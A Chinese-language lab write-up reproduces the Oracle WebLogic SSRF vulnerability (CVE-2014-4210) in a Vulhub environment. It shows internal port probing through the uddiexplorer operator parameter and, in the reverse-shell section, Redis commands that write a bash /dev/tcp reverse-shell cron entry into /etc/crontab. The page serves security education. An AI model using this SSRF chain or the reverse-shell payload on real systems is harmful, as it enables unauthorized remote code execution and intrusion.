渗透测试-Weblogic SSRF漏洞复现

漏洞概述

Oracle WebLogic Server是美国甲骨文（Oracle）公司的一款适用于云环境和传统环境的应用服务器，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。

Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞。远程攻击者可利用该漏洞读取数据，影响数据的保密性。

类型	描述
漏洞名称	Oracle WebLogic Server SSRF漏洞
威胁类型	SSRF
威胁等级	中
漏洞ID	CVE-2014-4210
受影响系统及应用版本	weblogic 10.0.2 – 10.3.6

服务端请求伪造(Server-Side Request Forgery)，是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能，且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等。

更多漏洞信息可参考以下博文：

1、SSRF漏洞介绍：Web安全-SSRF漏洞；
2、本漏洞原理分析：Weblogic_SSRF漏洞_CVE-2014-4210。

漏洞复现

SSRF漏洞就是通过篡改获取资源的请求发送给服务器，但是服务器并没有发现在这个请求是合法的，然后服务器以他的身份来访问其他服务器的资源。

以下演示的 Weblogic中 靶场环境就是由于访问目标网站是的参数是 URL ，且在服务端验证请求时没有对用户请求做出严格的过滤以及限制，导致存在 SSRF 漏洞，可以获取服务器一定量的数据。同时可以进一步实现篡改获取的资源并发送给服务器，下面是通过 6379 端口访问服务器的 redis 服务，并篡改了 /etc/crontab下的信息，将反弹 Shell 的脚本写入了该目录下从而获得 Shell。

靶场搭建

直接在 Ubutu 虚拟机基于 Vulhub 漏洞集成环境生成靶场。

1、查看虚拟机IP地址：

2、进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器：
3、以上可以看到虚拟机同时运行了 redis、Weblogic 两个容器，通过局域网内 Win 10 物理机访问http://192.168.43.221:7001/uddiexplorer/，无需登录即可查看 uddiexplorer 应用：
至此，漏洞环境搭建成功（Vulhub靶场就是如此简单粗暴~）。

端口探测

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，仔细查看发现这里有参数传入的是URL，差不多可以断定就是在这个点存在 SSRF 漏洞了：

1、在 BurpSuite 下抓包测试该漏洞，查询请求的operator参数可以进行端口探测，当我们输入不同值时可得到多种不同的报错信息：
2、将operator参数替换为IP:PORT形式的值，当该值为可访问的端口时将会得到错误，一般是返回 “404 error code"，如下图所示：

3、修改为一个不存在的端口，将会返回 “could not connect over HTTP to server”，如下图所示：
4、如果访问的非 http 协议，则会返回 “did not have a valid SOAP content-type”，如下图所示：
通过服务器返回的错误信息的不同，此处即可探测内网状态。

5、以上访问http://172.19.0.2:6379返回非 HTTP 协议的报错信息，是因为运行着 redis 服务，我们可以通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址：
获得容器IP信息如下：
以上通过 SSRF漏洞探测内网中的 redis 服务器（docker环境的网段一般是172.*），已经发现172.19.0.2:6379可以连通。

反弹Shell

接下来就是发送三条 redis 命令，将反弹 shell 的脚本写入目录/etc/crontab（这个目录下是一个默认自动执行的一些 crontab 定时服务命令，里面都写的是一些开启服务的命令）：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/192.168.43.133/6666 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

命令分析：

命令行	释义
set 1 …	将bash shell设置为变量“1”的value值，执行一个反弹shell，IP为Kali虚拟机IP
set dir /etc/	建立一个工作目录
config set dbfilename crontab	创建一个RDB备份文件，文件名crontab；所有的RDB文件都会储存在etc/crontab下

你如果不知道 Redis，恐怕很难理解以上命令的含义，就连上面的RDB文件是啥你也不知道，其实 Redis 是一个key-value型数据库，信息以键对应值的关系储存在内存中，而它算不上是一个真正的数据库，因为 redis 是主要把信息数据存储在内存中（当然也可以把其存储在硬盘上，这也是写shell的必要条件之一）。Redis将数据主要保存在内存中，我们可以随时执行save命令将当前的redis数据保存到硬盘上。另外redis也会根据配置自动存储数据到硬盘上，这不得不说到redis的 持久化运作方案，其中说到的一个RDB，一个AOF。RDB更像一个数据库备份文件，而AOF是一个log日志文件。我们可以设置让redis再指定时间、指定更改次数时进行备份，生成RDB文件；而设置AOF，可以在操作或时间过程后将“日志”写入一个文件的最末，当操作越来越多，则AOF文件越来越大。二者是相辅相成的，通过二者的配合我们能够稳定地持久地将数据存储于服务器上（详细讲解）。

1、首先对以上三条 redis 命令进行 url 编码：
2、然后在 Kali 虚拟机开启 6666 端口监听：

3、接着将URL编码后的 Payload 增加换行符（redis 通过换行符来分隔每条命令，换行符是“\r\n”，URL编码也就是“%0D%0A”）后发送给服务器：
4、此时 Kali 攻击机即可获得 Shell：
至此，成功反弹Shell，攻击结束。

修复方案

目前厂商已经发布了升级补丁以修复此安全问题，补丁获取链接：Oracle WebLogic Server 安全漏洞补丁。